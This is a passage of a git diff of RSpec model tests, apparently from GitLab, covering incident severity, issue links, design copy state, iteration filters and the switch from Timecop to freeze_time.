+ using RSpec::Parameterized::TableSyntax
+
+ where(:issuable_type, :incident) do
+ :issue | false
+ :incident | true
+ :merge_request | false
+ end
+
+ with_them do
+ let(:issuable) { build_stubbed(issuable_type) }
+
+ subject { issuable.incident? }
+
+ it { is_expected.to eq(incident) }
+ end
+ end
+
+ describe '#supports_issue_type?' do
+ using RSpec::Parameterized::TableSyntax
+
+ where(:issuable_type, :supports_issue_type) do
+ :issue | true
+ :merge_request | false
+ end
+
+ with_them do
+ let(:issuable) { build_stubbed(issuable_type) }
+
+ subject { issuable.supports_issue_type? }
+
+ it { is_expected.to eq(supports_issue_type) }
+ end
+ end
+
+ describe '#severity' do
+ subject { issuable.severity }
+
+ context 'when issuable is not an incident' do
+ using RSpec::Parameterized::TableSyntax
+
+ where(:issuable_type, :severity) do
+ :issue | 'unknown'
+ :merge_request | 'unknown'
+ end
+
+ with_them do
+ let(:issuable) { build_stubbed(issuable_type) }
+
+ it { is_expected.to eq(severity) }
+ end
+ end
+
+ context 'when issuable type is an incident' do
+ let!(:issuable) { build_stubbed(:incident) }
+
+ context 'when incident does not have issuable_severity' do
+ it 'returns default serverity' do
+ is_expected.to eq(IssuableSeverity::DEFAULT)
+ end
+ end
+
+ context 'when incident has issuable_severity' do
+ let!(:issuable_severity) { build_stubbed(:issuable_severity, issue: issuable, severity: 'critical') }
+
+ it 'returns issuable serverity' do
+ is_expected.to eq('critical')
+ end
+ end
+ end
+ end
+
+ describe '#update_severity' do
+ let(:severity) { 'low' }
+
+ subject(:update_severity) { issuable.update_severity(severity) }
+
+ context 'when issuable not an incident' do
+ %i(issue merge_request).each do |issuable_type|
+ let(:issuable) { build_stubbed(issuable_type) }
+
+ it { is_expected.to be_nil }
+
+ it 'does not set severity' do
+ expect { subject }.not_to change(IssuableSeverity, :count)
+ end
+ end
+ end
+
+ context 'when issuable is an incident' do
+ let!(:issuable) { create(:incident) }
+
+ context 'when issuable does not have issuable severity yet' do
+ it 'creates new record' do
+ expect { update_severity }.to change { IssuableSeverity.where(issue: issuable).count }.to(1)
+ end
+
+ it 'sets severity to specified value' do
+ expect { update_severity }.to change { issuable.severity }.to('low')
+ end
+ end
+
+ context 'when issuable has an issuable severity' do
+ let!(:issuable_severity) { create(:issuable_severity, issue: issuable, severity: 'medium') }
+
+ it 'does not create new record' do
+ expect { update_severity }.not_to change(IssuableSeverity, :count)
+ end
+
+ it 'updates existing issuable severity' do
+ expect { update_severity }.to change { issuable_severity.severity }.to(severity)
+ end
+ end
+
+ context 'when severity value is unsupported' do
+ let(:severity) { 'unsupported-severity' }
+
+ it 'sets the severity to default value' do
+ update_severity
+
+ expect(issuable.issuable_severity.severity).to eq(IssuableSeverity::DEFAULT)
+ end
+ end
+ end
+ end
end
diff --git a/spec/models/concerns/milestoneable_spec.rb b/spec/models/concerns/milestoneable_spec.rb
index 3dd6f1450c7..f5b82e42ad4 100644
--- a/spec/models/concerns/milestoneable_spec.rb
+++ b/spec/models/concerns/milestoneable_spec.rb
@@ -100,6 +100,14 @@ RSpec.describe Milestoneable do
expect(merge_request.supports_milestone?).to be_truthy
end
end
+
+ context "for incidents" do
+ let(:incident) { build(:incident) }
+
+ it 'returns false' do
+ expect(incident.supports_milestone?).to be_falsy
+ end
+ end
end
describe 'release scopes' do
diff --git a/spec/models/concerns/prometheus_adapter_spec.rb b/spec/models/concerns/prometheus_adapter_spec.rb
index e795e2b06cb..235e505c6e9 100644
--- a/spec/models/concerns/prometheus_adapter_spec.rb
+++ b/spec/models/concerns/prometheus_adapter_spec.rb
@@ -25,7 +25,7 @@ RSpec.describe PrometheusAdapter, :use_clean_rails_memory_store_caching do
let(:validation_respone) { { data: { valid: true } } }
around do |example|
- Timecop.freeze { example.run }
+ freeze_time { example.run }
end
context 'with valid data' do
@@ -45,7 +45,7 @@ RSpec.describe PrometheusAdapter, :use_clean_rails_memory_store_caching do
let(:environment) { build_stubbed(:environment, slug: 'env-slug') }
around do |example|
- Timecop.freeze { example.run }
+ freeze_time { example.run }
end
context 'with valid data' do
@@ -85,7 +85,7 @@ RSpec.describe PrometheusAdapter, :use_clean_rails_memory_store_caching do
let(:deployment_query) { Gitlab::Prometheus::Queries::DeploymentQuery }
around do |example|
- Timecop.freeze { example.run }
+ freeze_time { example.run }
end
context 'with valid data' do
@@ -107,7 +107,7 @@ RSpec.describe PrometheusAdapter, :use_clean_rails_memory_store_caching do
let(:time_window) { [1552642245.067, 1552642095.831] }
around do |example|
- Timecop.freeze { example.run }
+ freeze_time { example.run }
end
context 'with valid data' do
@@ -137,7 +137,7 @@ RSpec.describe PrometheusAdapter, :use_clean_rails_memory_store_caching do
end
around do |example|
- Timecop.freeze { example.run }
+ freeze_time { example.run }
end
context 'when service is inactive' do
diff --git a/spec/models/cycle_analytics/issue_spec.rb b/spec/models/cycle_analytics/issue_spec.rb
index 9372ef5f0e6..5857365ceab 100644
--- a/spec/models/cycle_analytics/issue_spec.rb
+++ b/spec/models/cycle_analytics/issue_spec.rb
@@ -15,17 +15,17 @@ RSpec.describe 'CycleAnalytics#issue' do
generate_cycle_analytics_spec(
phase: :issue,
data_fn: -> (context) { { issue: context.build(:issue, project: context.project) } },
- start_time_conditions: [["issue created", -> (context, data) { data[:issue].save }]],
+ start_time_conditions: [["issue created", -> (context, data) { data[:issue].save! }]],
end_time_conditions: [["issue associated with a milestone",
-> (context, data) do
if data[:issue].persisted?
- data[:issue].update(milestone: context.create(:milestone, project: context.project))
+ data[:issue].update!(milestone: context.create(:milestone, project: context.project))
end
end],
["list label added to issue",
-> (context, data) do
if data[:issue].persisted?
- data[:issue].update(label_ids: [context.create(:list).label_id])
+ data[:issue].update!(label_ids: [context.create(:list).label_id])
end
end]],
post_fn: -> (context, data) do
@@ -35,7 +35,7 @@ RSpec.describe 'CycleAnalytics#issue' do
it "returns nil" do
regular_label = create(:label)
issue = create(:issue, project: project)
- issue.update(label_ids: [regular_label.id])
+ issue.update!(label_ids: [regular_label.id])
create_merge_request_closing_issue(user, project, issue)
merge_merge_requests_closing_issue(user, project, issue)
diff --git a/spec/models/cycle_analytics/plan_spec.rb b/spec/models/cycle_analytics/plan_spec.rb
index 364694a11e1..2b9be64da2b 100644
--- a/spec/models/cycle_analytics/plan_spec.rb
+++ b/spec/models/cycle_analytics/plan_spec.rb
@@ -22,11 +22,11 @@ RSpec.describe 'CycleAnalytics#plan' do
end,
start_time_conditions: [["issue associated with a milestone",
-> (context, data) do
- data[:issue].update(milestone: context.create(:milestone, project: context.project))
+ data[:issue].update!(milestone: context.create(:milestone, project: context.project))
end],
["list label added to issue",
-> (context, data) do
- data[:issue].update(label_ids: [context.create(:list).label_id])
+ data[:issue].update!(label_ids: [context.create(:list).label_id])
end]],
end_time_conditions: [["issue mentioned in a commit",
-> (context, data) do
@@ -40,7 +40,7 @@ RSpec.describe 'CycleAnalytics#plan' do
branch_name = generate(:branch)
label = create(:label)
issue = create(:issue, project: project)
- issue.update(label_ids: [label.id])
+ issue.update!(label_ids: [label.id])
create_commit_referencing_issue(issue, branch_name: branch_name)
create_merge_request_closing_issue(user, project, issue, source_branch: branch_name)
diff --git a/spec/models/cycle_analytics/production_spec.rb b/spec/models/cycle_analytics/production_spec.rb
deleted file mode 100644
index cf4d57d6b73..00000000000
--- a/spec/models/cycle_analytics/production_spec.rb
+++ /dev/null
@@ -1,53 +0,0 @@
-# frozen_string_literal: true
-
-require 'spec_helper'
-
-RSpec.describe 'CycleAnalytics#production' do
- extend CycleAnalyticsHelpers::TestGeneration
-
- let_it_be(:project) { create(:project, :repository) }
- let_it_be(:from_date) { 10.days.ago }
- let_it_be(:user) { project.owner }
- let_it_be(:project_level) { CycleAnalytics::ProjectLevel.new(project, options: { from: from_date }) }
-
- subject { project_level }
-
- generate_cycle_analytics_spec(
- phase: :production,
- data_fn: -> (context) { { issue: context.build(:issue, project: context.project) } },
- start_time_conditions: [["issue is created", -> (context, data) { data[:issue].save }]],
- before_end_fn: lambda do |context, data|
- context.create_merge_request_closing_issue(context.user, context.project, data[:issue])
- context.merge_merge_requests_closing_issue(context.user, context.project, data[:issue])
- end,
- end_time_conditions:
- [["merge request that closes issue is deployed to production", -> (context, data) { context.deploy_master(context.user, context.project) }],
- ["production deploy happens after merge request is merged (along with other changes)",
- lambda do |context, data|
- # Make other changes on master
- context.project.repository.commit("sha_that_does_not_matter")
-
- context.deploy_master(context.user, context.project)
- end]])
-
- context "when a regular merge request (that doesn't close the issue) is merged and deployed" do
- it "returns nil" do
- merge_request = create(:merge_request)
- MergeRequests::MergeService.new(project, user).execute(merge_request)
- deploy_master(user, project)
-
- expect(subject[:production].project_median).to be_nil
- end
- end
-
- context "when the deployment happens to a non-production environment" do
- it "returns nil" do
- issue = build(:issue, project: project)
- merge_request = create_merge_request_closing_issue(user, project, issue)
- MergeRequests::MergeService.new(project, user).execute(merge_request)
- deploy_master(user, project, environment: 'staging')
-
- expect(subject[:production].project_median).to be_nil
- end
- end
-end
diff --git a/spec/models/deployment_spec.rb b/spec/models/deployment_spec.rb
index b320390711e..1c7b11257ce 100644
--- a/spec/models/deployment_spec.rb
+++ b/spec/models/deployment_spec.rb
@@ -44,10 +44,14 @@ RSpec.describe Deployment do
describe 'modules' do
it_behaves_like 'AtomicInternalId' do
+ let_it_be(:project) { create(:project, :repository) }
+ let_it_be(:deployable) { create(:ci_build, project: project) }
+ let_it_be(:environment) { create(:environment, project: project) }
+
let(:internal_id_attribute) { :iid }
- let(:instance) { build(:deployment) }
+ let(:instance) { build(:deployment, deployable: deployable, environment: environment) }
let(:scope) { :project }
- let(:scope_attrs) { { project: instance.project } }
+ let(:scope_attrs) { { project: project } }
let(:usage) { :deployments }
end
end
@@ -99,7 +103,7 @@ RSpec.describe Deployment do
end
it 'starts running' do
- Timecop.freeze do
+ freeze_time do
expect(deployment).to be_running
expect(deployment.finished_at).to be_nil
end
@@ -110,7 +114,7 @@ RSpec.describe Deployment do
let(:deployment) { create(:deployment, :running) }
it 'has correct status' do
- Timecop.freeze do
+ freeze_time do
deployment.succeed!
expect(deployment).to be_success
@@ -137,7 +141,7 @@ RSpec.describe Deployment do
let(:deployment) { create(:deployment, :running) }
it 'has correct status' do
- Timecop.freeze do
+ freeze_time do
deployment.drop!
expect(deployment).to be_failed
@@ -157,7 +161,7 @@ RSpec.describe Deployment do
let(:deployment) { create(:deployment, :running) }
it 'has correct status' do
- Timecop.freeze do
+ freeze_time do
deployment.cancel!
expect(deployment).to be_canceled
@@ -584,7 +588,7 @@ RSpec.describe Deployment do
end
it 'updates finished_at when transitioning to a finished status' do
- Timecop.freeze do
+ freeze_time do
deploy.update_status('success')
expect(deploy.read_attribute(:finished_at)).to eq(Time.current)
diff --git a/spec/models/design_management/design_collection_spec.rb b/spec/models/design_management/design_collection_spec.rb
index de766d5ce09..8575cc80b5b 100644
--- a/spec/models/design_management/design_collection_spec.rb
+++ b/spec/models/design_management/design_collection_spec.rb
@@ -3,8 +3,9 @@ require 'spec_helper'
RSpec.describe DesignManagement::DesignCollection do
include DesignManagementTestHelpers
+ using RSpec::Parameterized::TableSyntax
- let_it_be(:issue, reload: true) { create(:issue) }
+ let_it_be(:issue, refind: true) { create(:issue) }
subject(:collection) { described_class.new(issue) }
@@ -41,7 +42,62 @@ RSpec.describe DesignManagement::DesignCollection do
design2 = collection.find_or_create_design!(filename: 'design2.jpg')
- expect(collection.designs.ordered(issue.project)).to eq([design1, design2])
+ expect(collection.designs.ordered).to eq([design1, design2])
+ end
+ end
+
+ describe "#copy_state", :clean_gitlab_redis_shared_state do
+ it "defaults to ready" do
+ expect(collection).to be_copy_ready
+ end
+
+ it "persists its state changes between initializations" do
+ collection.start_copy!
+
+ expect(described_class.new(issue)).to be_copy_in_progress
+ end
+
+ where(:state, :can_start, :can_end, :can_error, :can_reset) do
+ "ready" | true | false | true | true
+ "in_progress" | false | true | true | true
+ "error" | false | false | false | true
+ end
+
+ with_them do
+ it "maintains state machine transition rules", :aggregate_failures do
+ collection.copy_state = state
+
+ expect(collection.can_start_copy?).to eq(can_start)
+ expect(collection.can_end_copy?).to eq(can_end)
+ end
+ end
+
+ describe "clearing the redis cached state when state changes back to ready" do
+ def redis_copy_state
+ Gitlab::Redis::SharedState.with do |redis|
+ redis.get(collection.send(:copy_state_cache_key))
+ end
+ end
+
+ def fire_state_events(*events)
+ events.each do |event|
+ collection.fire_copy_state_event(event)
+ end
+ end
+
+ it "clears the cached state on end_copy!", :aggregate_failures do
+ fire_state_events(:start)
+
+ expect { collection.end_copy! }.to change { redis_copy_state }.from("in_progress").to(nil)
+ expect(collection).to be_copy_ready
+ end
+
+ it "clears the cached state on reset_copy!", :aggregate_failures do
+ fire_state_events(:start, :error)
+
+ expect { collection.reset_copy! }.to change { redis_copy_state }.from("error").to(nil)
+ expect(collection).to be_copy_ready
+ end
end
end
diff --git a/spec/models/design_management/design_spec.rb b/spec/models/design_management/design_spec.rb
index 2c129f883b9..d4adc0d42d0 100644
--- a/spec/models/design_management/design_spec.rb
+++ b/spec/models/design_management/design_spec.rb
@@ -12,8 +12,10 @@ RSpec.describe DesignManagement::Design do
let_it_be(:deleted_design) { create(:design, :with_versions, deleted: true) }
it_behaves_like 'a class that supports relative positioning' do
+ let_it_be(:relative_parent) { create(:issue) }
+
let(:factory) { :design }
- let(:default_params) { { issue: issue } }
+ let(:default_params) { { issue: relative_parent } }
end
describe 'relations' do
@@ -161,27 +163,7 @@ RSpec.describe DesignManagement::Design do
end
it 'sorts by relative position and ID in ascending order' do
- expect(described_class.ordered(issue.project)).to eq([design2, design1, design3, deleted_design])
- end
-
- context 'when the :reorder_designs feature is enabled for the project' do
- before do
- stub_feature_flags(reorder_designs: issue.project)
- end
-
- it 'sorts by relative position and ID in ascending order' do
- expect(described_class.ordered(issue.project)).to eq([design2, design1, design3, deleted_design])
- end
- end
-
- context 'when the :reorder_designs feature is disabled' do
- before do
- stub_feature_flags(reorder_designs: false)
- end
-
- it 'sorts by ID in ascending order' do
- expect(described_class.ordered(issue.project)).to eq([design1, design2, design3, deleted_design])
- end
+ expect(described_class.ordered).to eq([design2, design1, design3, deleted_design])
end
end
diff --git a/spec/models/dev_ops_report/metric_spec.rb b/spec/models/dev_ops_report/metric_spec.rb
new file mode 100644
index 00000000000..191692f43a4
--- /dev/null
+++ b/spec/models/dev_ops_report/metric_spec.rb
@@ -0,0 +1,13 @@
+# frozen_string_literal: true
+
+require 'spec_helper'
+
+RSpec.describe DevOpsReport::Metric do
+ let(:conv_dev_index) { create(:dev_ops_report_metric) }
+
+ describe '#percentage_score' do
+ it 'returns stored percentage score' do
+ expect(conv_dev_index.percentage_score('issues')).to eq(13.331)
+ end
+ end
+end
diff --git a/spec/models/dev_ops_score/metric_spec.rb b/spec/models/dev_ops_score/metric_spec.rb
deleted file mode 100644
index 60001d0667d..00000000000
--- a/spec/models/dev_ops_score/metric_spec.rb
+++ /dev/null
@@ -1,13 +0,0 @@
-# frozen_string_literal: true
-
-require 'spec_helper'
-
-RSpec.describe DevOpsScore::Metric do
- let(:conv_dev_index) { create(:dev_ops_score_metric) }
-
- describe '#percentage_score' do
- it 'returns stored percentage score' do
- expect(conv_dev_index.percentage_score('issues')).to eq(13.331)
- end
- end
-end
diff --git a/spec/models/diff_note_spec.rb b/spec/models/diff_note_spec.rb
index 8a6176bf045..f7ce44f7281 100644
--- a/spec/models/diff_note_spec.rb
+++ b/spec/models/diff_note_spec.rb
@@ -35,7 +35,9 @@ RSpec.describe DiffNote do
subject { create(:diff_note_on_merge_request, project: project, position: position, noteable: merge_request) }
describe 'validations' do
- it_behaves_like 'a valid diff positionable note', :diff_note_on_commit
+ it_behaves_like 'a valid diff positionable note' do
+ subject { build(:diff_note_on_commit, project: project, commit_id: commit_id, position: position) }
+ end
end
describe "#position=" do
diff --git a/spec/models/draft_note_spec.rb b/spec/models/draft_note_spec.rb
index 64b06bf5c8f..580a588ae1d 100644
--- a/spec/models/draft_note_spec.rb
+++ b/spec/models/draft_note_spec.rb
@@ -5,11 +5,13 @@ require 'spec_helper'
RSpec.describe DraftNote do
include RepoHelpers
- let(:project) { create(:project, :repository) }
- let(:merge_request) { create(:merge_request_with_diffs, target_project: project, source_project: project) }
+ let_it_be(:project) { create(:project, :repository) }
+ let_it_be(:merge_request) { create(:merge_request_with_diffs, target_project: project, source_project: project) }
describe 'validations' do
- it_behaves_like 'a valid diff positionable note', :draft_note
+ it_behaves_like 'a valid diff positionable note' do
+ subject { build(:draft_note, merge_request: merge_request, commit_id: commit_id, position: position) }
+ end
end
describe 'delegations' do
diff --git a/spec/models/environment_spec.rb b/spec/models/environment_spec.rb
index 2696d144db4..433ede97b82 100644
--- a/spec/models/environment_spec.rb
+++ b/spec/models/environment_spec.rb
@@ -854,8 +854,8 @@ RSpec.describe Environment, :use_clean_rails_memory_store_caching do
end
it 'overrides reactive_cache_limit_enabled? with a FF' do
- environment_with_enabled_ff = FactoryBot.build(:environment)
- environment_with_disabled_ff = FactoryBot.build(:environment)
+ environment_with_enabled_ff = build(:environment, project: create(:project))
+ environment_with_disabled_ff = build(:environment, project: create(:project))
stub_feature_flags(reactive_caching_limit_environment: environment_with_enabled_ff.project)
@@ -1222,7 +1222,7 @@ RSpec.describe Environment, :use_clean_rails_memory_store_caching do
let(:environment) { build(:environment, :will_auto_stop) }
it 'returns when it will expire' do
- Timecop.freeze { is_expected.to eq(1.day.to_i) }
+ freeze_time { is_expected.to eq(1.day.to_i) }
end
end
@@ -1248,7 +1248,7 @@ RSpec.describe Environment, :use_clean_rails_memory_store_caching do
end
with_them do
it 'sets correct auto_stop_in' do
- Timecop.freeze do
+ freeze_time do
if expected_result.is_a?(Integer) || expected_result.nil?
subject
diff --git a/spec/models/environment_status_spec.rb b/spec/models/environment_status_spec.rb
index 7eefb8f714a..a6954fb5d56 100644
--- a/spec/models/environment_status_spec.rb
+++ b/spec/models/environment_status_spec.rb
@@ -90,22 +90,6 @@ RSpec.describe EnvironmentStatus do
end
end
- describe '.after_merge_request' do
- let(:admin) { create(:admin) }
- let(:pipeline) { create(:ci_pipeline, sha: sha) }
-
- before do
- merge_request.mark_as_merged!
- end
-
- it 'is based on merge_request.merge_commit_sha' do
- expect(merge_request).to receive(:merge_commit_sha)
- expect(merge_request).not_to receive(:diff_head_sha)
-
- described_class.after_merge_request(merge_request, admin)
- end
- end
-
describe '.for_deployed_merge_request' do
context 'when a merge request has no explicitly linked deployments' do
it 'returns the statuses based on the CI pipelines' do
@@ -191,7 +175,7 @@ RSpec.describe EnvironmentStatus do
let(:environment) { build.deployment.environment }
let(:user) { project.owner }
- context 'when environment is created on a forked project' do
+ context 'when environment is created on a forked project', :sidekiq_inline do
let(:project) { create(:project, :repository) }
let(:forked) { fork_project(project, user, repository: true) }
let(:sha) { forked.commit.sha }
@@ -205,7 +189,7 @@ RSpec.describe EnvironmentStatus do
head_pipeline: pipeline)
end
- it 'returns environment status', :sidekiq_might_not_need_inline do
+ it 'returns environment status' do
expect(subject.count).to eq(1)
expect(subject[0].environment).to eq(environment)
expect(subject[0].merge_request).to eq(merge_request)
diff --git a/spec/models/event_spec.rb b/spec/models/event_spec.rb
index 015a86cb28b..bafcb7a3741 100644
--- a/spec/models/event_spec.rb
+++ b/spec/models/event_spec.rb
@@ -81,6 +81,8 @@ RSpec.describe Event do
describe 'validations' do
describe 'action' do
context 'for a design' do
+ let_it_be(:author) { create(:user) }
+
where(:action, :valid) do
valid = described_class::DESIGN_ACTIONS.map(&:to_s).to_set
@@ -90,7 +92,7 @@ RSpec.describe Event do
end
with_them do
- let(:event) { build(:design_event, action: action) }
+ let(:event) { build(:design_event, author: author, action: action) }
specify { expect(event.valid?).to eq(valid) }
end
@@ -722,9 +724,17 @@ RSpec.describe Event do
note_on_commit: true
}
valid_target_factories.map do |kind, needs_project|
- extra_data = needs_project ? { project: project } : {}
+ extra_data = if kind == :merge_request
+ { source_project: project }
+ elsif needs_project
+ { project: project }
+ else
+ {}
+ end
+
target = kind == :project ? nil : build(kind, **extra_data)
- [kind, build(:event, :created, project: project, target: target)]
+
+ [kind, build(:event, :created, author: project.owner, project: project, target: target)]
end.to_h
end
diff --git a/spec/models/group_deploy_key_spec.rb b/spec/models/group_deploy_key_spec.rb
index 6757c5534ce..dfb4fee593f 100644
--- a/spec/models/group_deploy_key_spec.rb
+++ b/spec/models/group_deploy_key_spec.rb
@@ -82,4 +82,25 @@ RSpec.describe GroupDeployKey do
end
end
end
+
+ describe '.for_groups' do
+ context 'when group deploy keys are enabled for some groups' do
+ let_it_be(:group1) { create(:group) }
+ let_it_be(:group2) { create(:group) }
+ let_it_be(:group3) { create(:group) }
+ let_it_be(:gdk1) { create(:group_deploy_key) }
+ let_it_be(:gdk2) { create(:group_deploy_key) }
+ let_it_be(:gdk3) { create(:group_deploy_key) }
+
+ it 'returns these group deploy keys' do
+ gdk1.groups << group1
+ gdk1.groups << group2
+ gdk2.groups << group3
+ gdk3.groups << group2
+
+ expect(described_class.for_groups([group1.id, group3.id])).to contain_exactly(gdk1, gdk2)
+ expect(described_class.for_groups([group2.id])).to contain_exactly(gdk1, gdk3)
+ end
+ end
+ end
end
diff --git a/spec/models/group_spec.rb b/spec/models/group_spec.rb
index 3eb74da09e1..15972f66fd6 100644
--- a/spec/models/group_spec.rb
+++ b/spec/models/group_spec.rb
@@ -27,6 +27,7 @@ RSpec.describe Group do
it { is_expected.to have_many(:milestones) }
it { is_expected.to have_many(:iterations) }
it { is_expected.to have_many(:group_deploy_keys) }
+ it { is_expected.to have_many(:services) }
describe '#members & #requesters' do
let(:requester) { create(:user) }
@@ -652,6 +653,19 @@ RSpec.describe Group do
expect(shared_group.max_member_access_for_user(user)).to eq(Gitlab::Access::MAINTAINER)
end
end
+
+ context 'evaluating admin access level' do
+ let_it_be(:admin) { create(:admin) }
+
+ it 'returns OWNER by default' do
+ expect(group.max_member_access_for_user(admin)).to eq(Gitlab::Access::OWNER)
+ end
+
+ it 'returns NO_ACCESS when only concrete membership should be considered' do
+ expect(group.max_member_access_for_user(admin, only_concrete_membership: true))
+ .to eq(Gitlab::Access::NO_ACCESS)
+ end
+ end
end
describe '#members_with_parents' do
@@ -692,6 +706,7 @@ RSpec.describe Group do
before do
create(:group_member, user: user, group: group_parent, access_level: parent_group_access_level)
create(:group_member, user: user, group: group, access_level: group_access_level)
+ create(:group_member, :minimal_access, user: create(:user), source: group)
create(:group_member, user: user, group: group_child, access_level: child_group_access_level)
end
diff --git a/spec/models/issuable_severity_spec.rb b/spec/models/issuable_severity_spec.rb
new file mode 100644
index 00000000000..4dfd19756cb
--- /dev/null
+++ b/spec/models/issuable_severity_spec.rb
@@ -0,0 +1,25 @@
+# frozen_string_literal: true
+
+require 'spec_helper'
+
+RSpec.describe IssuableSeverity, type: :model do
+ let_it_be(:issuable_severity) { create(:issuable_severity) }
+
+ describe 'associations' do
+ it { is_expected.to belong_to(:issue) }
+ end
+
+ describe 'validations' do
+ it { is_expected.to validate_presence_of(:severity) }
+ it { is_expected.to validate_presence_of(:issue) }
+ it { is_expected.to validate_uniqueness_of(:issue) }
+ end
+
+ describe 'enums' do
+ let(:severity_values) do
+ { unknown: 0, low: 1, medium: 2, high: 3, critical: 4 }
+ end
+
+ it { is_expected.to define_enum_for(:severity).with_values(severity_values) }
+ end
+end
diff --git a/spec/models/issue_link_spec.rb b/spec/models/issue_link_spec.rb
new file mode 100644
index 00000000000..00791d4a48b
--- /dev/null
+++ b/spec/models/issue_link_spec.rb
@@ -0,0 +1,53 @@
+# frozen_string_literal: true
+
+require 'spec_helper'
+
+RSpec.describe IssueLink do
+ describe 'Associations' do
+ it { is_expected.to belong_to(:source).class_name('Issue') }
+ it { is_expected.to belong_to(:target).class_name('Issue') }
+ end
+
+ describe 'link_type' do
+ it { is_expected.to define_enum_for(:link_type).with_values(relates_to: 0, blocks: 1, is_blocked_by: 2) }
+
+ it 'provides the "related" as default link_type' do
+ expect(create(:issue_link).link_type).to eq 'relates_to'
+ end
+ end
+
+ describe 'Validation' do
+ subject { create :issue_link }
+
+ it { is_expected.to validate_presence_of(:source) }
+ it { is_expected.to validate_presence_of(:target) }
+ it do
+ is_expected.to validate_uniqueness_of(:source)
+ .scoped_to(:target_id)
+ .with_message(/already related/)
+ end
+
+ context 'self relation' do
+ let(:issue) { create :issue }
+
+ context 'cannot be validated' do
+ it 'does not invalidate object with self relation error' do
+ issue_link = build :issue_link, source: issue, target: nil
+
+ issue_link.valid?
+
+ expect(issue_link.errors[:source]).to be_empty
+ end
+ end
+
+ context 'can be invalidated' do
+ it 'invalidates object' do
+ issue_link = build :issue_link, source: issue, target: issue
+
+ expect(issue_link).to be_invalid
+ expect(issue_link.errors[:source]).to include('cannot be related to itself')
+ end
+ end
+ end
+ end
+end
diff --git a/spec/models/issue_spec.rb b/spec/models/issue_spec.rb
index 59634524e74..283d945157b 100644
--- a/spec/models/issue_spec.rb
+++ b/spec/models/issue_spec.rb
@@ -133,6 +133,7 @@ RSpec.describe Issue do
let_it_be(:project) { create(:project) }
let_it_be(:issue) { create(:issue, project: project) }
let_it_be(:incident) { create(:incident, project: project) }
+ let_it_be(:test_case) { create(:quality_test_case, project: project) }
it 'gives issues with the given issue type' do
expect(described_class.with_issue_type('issue'))
@@ -140,8 +141,8 @@ RSpec.describe Issue do
end
it 'gives issues with the given issue type' do
- expect(described_class.with_issue_type(%w(issue incident)))
- .to contain_exactly(issue, incident)
+ expect(described_class.with_issue_type(%w(issue incident test_case)))
+ .to contain_exactly(issue, incident, test_case)
end
end
@@ -311,6 +312,50 @@ RSpec.describe Issue do
end
end
+ describe '#related_issues' do
+ let(:user) { create(:user) }
+ let(:authorized_project) { create(:project) }
+ let(:authorized_project2) { create(:project) }
+ let(:unauthorized_project) { create(:project) }
+
+ let(:authorized_issue_a) { create(:issue, project: authorized_project) }
+ let(:authorized_issue_b) { create(:issue, project: authorized_project) }
+ let(:authorized_issue_c) { create(:issue, project: authorized_project2) }
+
+ let(:unauthorized_issue) { create(:issue, project: unauthorized_project) }
+
+ let!(:issue_link_a) { create(:issue_link, source: authorized_issue_a, target: authorized_issue_b) }
+ let!(:issue_link_b) { create(:issue_link, source: authorized_issue_a, target: unauthorized_issue) }
+ let!(:issue_link_c) { create(:issue_link, source: authorized_issue_a, target: authorized_issue_c) }
+
+ before do
+ authorized_project.add_developer(user)
+ authorized_project2.add_developer(user)
+ end
+
+ it 'returns only authorized related issues for given user' do
+ expect(authorized_issue_a.related_issues(user))
+ .to contain_exactly(authorized_issue_b, authorized_issue_c)
+ end
+
+ it 'returns issues with valid issue_link_type' do
+ link_types = authorized_issue_a.related_issues(user).map(&:issue_link_type)
+
+ expect(link_types).not_to be_empty
+ expect(link_types).not_to include(nil)
+ end
+
+ describe 'when a user cannot read cross project' do
+ it 'only returns issues within the same project' do
+ expect(Ability).to receive(:allowed?).with(user, :read_all_resources, :global).at_least(:once).and_call_original
+ expect(Ability).to receive(:allowed?).with(user, :read_cross_project).and_return(false)
+
+ expect(authorized_issue_a.related_issues(user))
+ .to contain_exactly(authorized_issue_b)
+ end
+ end
+ end
+
describe '#can_move?' do
let(:issue) { create(:issue) }
@@ -1139,4 +1184,33 @@ RSpec.describe Issue do
expect(context[:label_url_method]).to eq(:project_issues_url)
end
end
+
+ describe 'scheduling rebalancing' do
+ before do
+ allow_next_instance_of(RelativePositioning::Mover) do |mover|
+ allow(mover).to receive(:move) { raise ActiveRecord::QueryCanceled }
+ end
+ end
+
+ let(:project) { build_stubbed(:project_empty_repo) }
+ let(:issue) { build_stubbed(:issue, relative_position: 100, project: project) }
+
+ it 'schedules rebalancing if we time-out when moving' do
+ lhs = build_stubbed(:issue, relative_position: 99, project: project)
+ to_move = build(:issue, project: project)
+ expect(IssueRebalancingWorker).to receive(:perform_async).with(nil, project.id)
+
+ expect { to_move.move_between(lhs, issue) }.to raise_error(ActiveRecord::QueryCanceled)
+ end
+ end
+
+ describe '#allows_reviewers?' do
+ it 'returns false as issues do not support reviewers feature' do
+ stub_feature_flags(merge_request_reviewers: true)
+
+ issue = build_stubbed(:issue)
+
+ expect(issue.allows_reviewers?).to be(false)
+ end
+ end
end
diff --git a/spec/models/iteration_spec.rb b/spec/models/iteration_spec.rb
index 5c684fa9771..19a1625aad3 100644
--- a/spec/models/iteration_spec.rb
+++ b/spec/models/iteration_spec.rb
@@ -32,6 +32,59 @@ RSpec.describe Iteration do
end
end
+ describe '.filter_by_state' do
+ let_it_be(:closed_iteration) { create(:iteration, :closed, :skip_future_date_validation, group: group, start_date: 8.days.ago, due_date: 2.days.ago) }
+ let_it_be(:started_iteration) { create(:iteration, :started, :skip_future_date_validation, group: group, start_date: 1.day.ago, due_date: 6.days.from_now) }
+ let_it_be(:upcoming_iteration) { create(:iteration, :upcoming, group: group, start_date: 1.week.from_now, due_date: 2.weeks.from_now) }
+
+ shared_examples_for 'filter_by_state' do
+ it 'filters by the given state' do
+ expect(described_class.filter_by_state(Iteration.all, state)).to match(expected_iterations)
+ end
+ end
+
+ context 'filtering by closed iterations' do
+ it_behaves_like 'filter_by_state' do
+ let(:state) { 'closed' }
+ let(:expected_iterations) { [closed_iteration] }
+ end
+ end
+
+ context 'filtering by started iterations' do
+ it_behaves_like 'filter_by_state' do
+ let(:state) { 'started' }
+ let(:expected_iterations) { [started_iteration] }
+ end
+ end
+
+ context 'filtering by opened iterations' do
+ it_behaves_like 'filter_by_state' do
+ let(:state) { 'opened' }
+ let(:expected_iterations) { [started_iteration, upcoming_iteration] }
+ end
+ end
+
+ context 'filtering by upcoming iterations' do
+ it_behaves_like 'filter_by_state' do
+ let(:state) { 'upcoming' }
+ let(:expected_iterations) { [upcoming_iteration] }
+ end
+ end
+
